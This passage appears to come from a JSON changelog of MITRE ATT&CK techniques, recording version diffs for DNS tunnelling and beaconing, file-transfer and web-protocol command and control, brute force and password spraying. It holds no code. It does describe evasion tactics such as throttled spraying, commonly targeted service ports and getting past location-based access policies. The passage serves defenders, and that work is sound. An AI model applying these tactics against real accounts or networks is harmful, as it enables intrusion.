\\n@@ -1,3 +1,5 @@\\n Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \\n \\n-The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) \\n+The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)\\n+\\n+DNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e.\\u202f[Protocol Tunneling](https://attack.mitre.org/techniques/T1572)). The commands may be embedded into different DNS records, for example, TXT or A records.(Citation: OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government) DNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices.(Citation: DNS Beacons) Infrequent communication conceals the malicious DNS traffic with normal DNS traffic. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\\n\\nMonitor for DNS traffic to/from known-bad or suspicious domains.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\\n-\\n-Monitor for DNS traffic to/from known-bad or suspicious domains.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government\", \"description\": \"Kyle Wilhoit, Robert Falcone. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved July 21, 2025.\", \"url\": \"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/\"}, \"root['external_references'][5]\": {\"source_name\": \"DNS Beacons\", \"description\": \"Vercara. (n.d.). Retrieved July 21, 2025.\", \"url\": \"https://vercara.digicert.com/resources/dns-beacons#page_top\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may communicate using the Domain Name System (DNt1Adversaries may communicate using the Domain Name System (DN
>S) application layer protocol to avoid detection/network fil>S) application layer protocol to avoid detection/network fil
>tering by blending in with existing traffic. Commands to the>tering by blending in with existing traffic. Commands to the
> remote system, and often the results of those commands, wil> remote system, and often the results of those commands, wil
>l be embedded within the protocol traffic between the client>l be embedded within the protocol traffic between the client
> and server.   The DNS protocol serves an administrative fun> and server.   The DNS protocol serves an administrative fun
>ction in computer networking and thus may be very common in >ction in computer networking and thus may be very common in 
>environments. DNS traffic may also be allowed even before ne>environments. DNS traffic may also be allowed even before ne
>twork authentication is completed. DNS packets contain many >twork authentication is completed. DNS packets contain many 
>fields and headers in which data can be concealed. Often kno>fields and headers in which data can be concealed. Often kno
>wn as DNS tunneling, adversaries may abuse DNS to communicat>wn as DNS tunneling, adversaries may abuse DNS to communicat
>e with systems under their control within a victim network w>e with systems under their control within a victim network w
>hile also mimicking normal, expected traffic.(Citation: PAN >hile also mimicking normal, expected traffic.(Citation: PAN 
>DNS Tunneling)(Citation: Medium DnsTunneling) >DNS Tunneling)(Citation: Medium DnsTunneling)  DNS beaconing
 > may be used to send commands to remote systems via DNS quer
 >ies. A DNS beacon is created by tunneling DNS traffic (i.e.\u202f
 >[Protocol Tunneling](https://attack.mitre.org/techniques/T15
 >72)). The commands may be embedded into different DNS record
 >s, for example, TXT or A records.(Citation: OilRig Uses Upda
 >ted BONDUPDATER to Target Middle Eastern Government) DNS bea
 >cons may be difficult to detect because the beacons infreque
 >ntly communicate with infected devices.(Citation: DNS Beacon
 >s) Infrequent communication conceals the malicious DNS traff
 >ic with normal DNS traffic. 
", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0400: Behavioral Detection of DNS Tunneling and Application Layer Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 16:16:25.763000+00:00", + "modified": "2025-10-24 17:49:08.302000+00:00", + "name": "File Transfer Protocols", + "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071/002", + "external_id": "T1071.002" + }, + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Don Le, Stifel Financial\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.302000+00:00\", \"old_value\": \"2025-04-15 19:58:52.946000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [ + "M1037: Filter Network Traffic" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0416: Detection of File Transfer Protocol-Based C2 (FTP, FTPS, SMB, TFTP)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-15 16:13:46.151000+00:00", + "modified": "2025-10-24 17:49:29.591000+00:00", + "name": "Web Protocols", + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1071/001", + "external_id": "T1071.001" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Brazking-Websockets", + "description": "Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023.", + "url": "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "TruKno", + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.591000+00:00\", \"old_value\": \"2025-04-15 19:59:14.227000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\\n\\nMonitor for web traffic to/from known-bad or suspicious domains. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\\n-\\n-Monitor for web traffic to/from known-bad or suspicious domains. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Don Le, Stifel Financial\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [ + "M1037: Filter Network Traffic" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0027: Detection of Web Protocol-Based C2 Over HTTP, HTTPS, or WebSockets" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:22.767000+00:00", + "modified": "2025-10-24 17:49:12.218000+00:00", + "name": "Brute Force", + "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \n\nIf an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110", + "external_id": "T1110" + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html" + }, + { + "source_name": "ReliaQuest Health Care Social Engineering Campaign 2024", + "description": "Hayden Evans. (2024, April 4). Health Care Social Engineering Campaign. Retrieved May 22, 2025.", + "url": "https://www.reliaquest.com/blog/health-care-social-engineering-campaign/" + }, + { + "source_name": "Dragos Crashoverride 2018", + "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", + "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Yossi Weizman, Azure Defender Research Team", + "Ed Williams, Trustwave, SpiderLabs", + "Mohamed Kmal", + "ReliaQuest" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "IaaS", + "Identity Provider", + "Linux", + "macOS", + "Network Devices", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "2.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Command: Command Execution\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.218000+00:00\", \"old_value\": \"2025-04-15 19:58:56.556000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\\n\\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \\n\\nIf an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)\", \"old_value\": \"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\\n\\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\\n \\n-Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.\\n+Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. \\n+\\n+If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim\\u2019s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.8\", \"old_value\": \"2.7\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"ReliaQuest Health Care Social Engineering Campaign 2024\", \"description\": \"Hayden Evans. (2024, April 4). Health Care Social Engineering Campaign. Retrieved May 22, 2025.\", \"url\": \"https://www.reliaquest.com/blog/health-care-social-engineering-campaign/\"}, \"root['x_mitre_contributors'][6]\": \"ReliaQuest\"}}", + "previous_version": "2.7", + "version_change": "2.7 \u2192 2.8", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use brute force techniques to gain access tot1Adversaries may use brute force techniques to gain access to
> accounts when passwords are unknown or when password hashes> accounts when passwords are unknown or when password hashes
> are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit> are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit
>hout knowledge of the password for an account or set of acco>hout knowledge of the password for an account or set of acco
>unts, an adversary may systematically guess the password usi>unts, an adversary may systematically guess the password usi
>ng a repetitive or iterative mechanism.(Citation: Dragos Cra>ng a repetitive or iterative mechanism.(Citation: Dragos Cra
>shoverride 2018) Brute forcing passwords can take place via >shoverride 2018) Brute forcing passwords can take place via 
>interaction with a service that will check the validity of t>interaction with a service that will check the validity of t
>hose credentials or offline against previously acquired cred>hose credentials or offline against previously acquired cred
>ential data, such as password hashes.  Brute forcing credent>ential data, such as password hashes.  Brute forcing credent
>ials may take place at various points during a breach. For e>ials may take place at various points during a breach. For e
>xample, adversaries may attempt to brute force access to [Va>xample, adversaries may attempt to brute force access to [Va
>lid Accounts](https://attack.mitre.org/techniques/T1078) wit>lid Accounts](https://attack.mitre.org/techniques/T1078) wit
>hin a victim environment leveraging knowledge gathered from >hin a victim environment leveraging knowledge gathered from 
>other post-compromise behaviors such as [OS Credential Dumpi>other post-compromise behaviors such as [OS Credential Dumpi
>ng](https://attack.mitre.org/techniques/T1003), [Account Dis>ng](https://attack.mitre.org/techniques/T1003), [Account Dis
>covery](https://attack.mitre.org/techniques/T1087), or [Pass>covery](https://attack.mitre.org/techniques/T1087), or [Pass
>word Policy Discovery](https://attack.mitre.org/techniques/T>word Policy Discovery](https://attack.mitre.org/techniques/T
>1201). Adversaries may also combine brute forcing activity w>1201). Adversaries may also combine brute forcing activity w
>ith behaviors such as [External Remote Services](https://att>ith behaviors such as [External Remote Services](https://att
>ack.mitre.org/techniques/T1133) as part of Initial Access.>ack.mitre.org/techniques/T1133) as part of Initial Access.  
 > If an adversary guesses the correct password but fails to l
 >ogin to a compromised account due to location-based conditio
 >nal access policies, they may change their infrastructure un
 >til they match the victim\u2019s location and therefore bypass th
 >ose policies.(Citation: ReliaQuest Health Care Social Engine
 >ering Campaign 2024)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1036: Account Use Policies" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0463: Brute Force Authentication Failures with Multi-Platform Log Correlation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:39:25.122000+00:00", + "modified": "2025-10-24 17:48:53.996000+00:00", + "name": "Password Spraying", + "description": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows \"logon failure\" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110/003", + "external_id": "T1110.003" + }, + { + "source_name": "Trimarc Detecting Password Spraying", + "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.", + "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing" + }, + { + "source_name": "Microsoft Storm-0940", + "description": "Microsoft Threat Intelligence. (2024, October 31). Chinese threat actor Storm-0940 uses credentials from password spray attacks from a covert network. Retrieved June 4, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2024/10/31/chinese-threat-actor-storm-0940-uses-credentials-from-password-spray-attacks-from-a-covert-network/" + }, + { + "source_name": "BlackHillsInfosec Password Spraying", + "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.", + "url": "http://www.blackhillsinfosec.com/?p=4645" + }, + { + "source_name": "US-CERT TA18-068A 2018", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "John Strand" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "IaaS", + "Identity Provider", + "Linux", + "Network Devices", + "Office Suite", + "SaaS", + "Windows", + "macOS" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.996000+00:00\", \"old_value\": \"2025-04-15 19:58:38.420000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\\n\\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\\n\\n* SSH (22/TCP)\\n* Telnet (23/TCP)\\n* FTP (21/TCP)\\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\\n* LDAP (389/TCP)\\n* Kerberos (88/TCP)\\n* RDP / Terminal Services (3389/TCP)\\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\\n* MSSQL (1433/TCP)\\n* Oracle (1521/TCP)\\n* MySQL 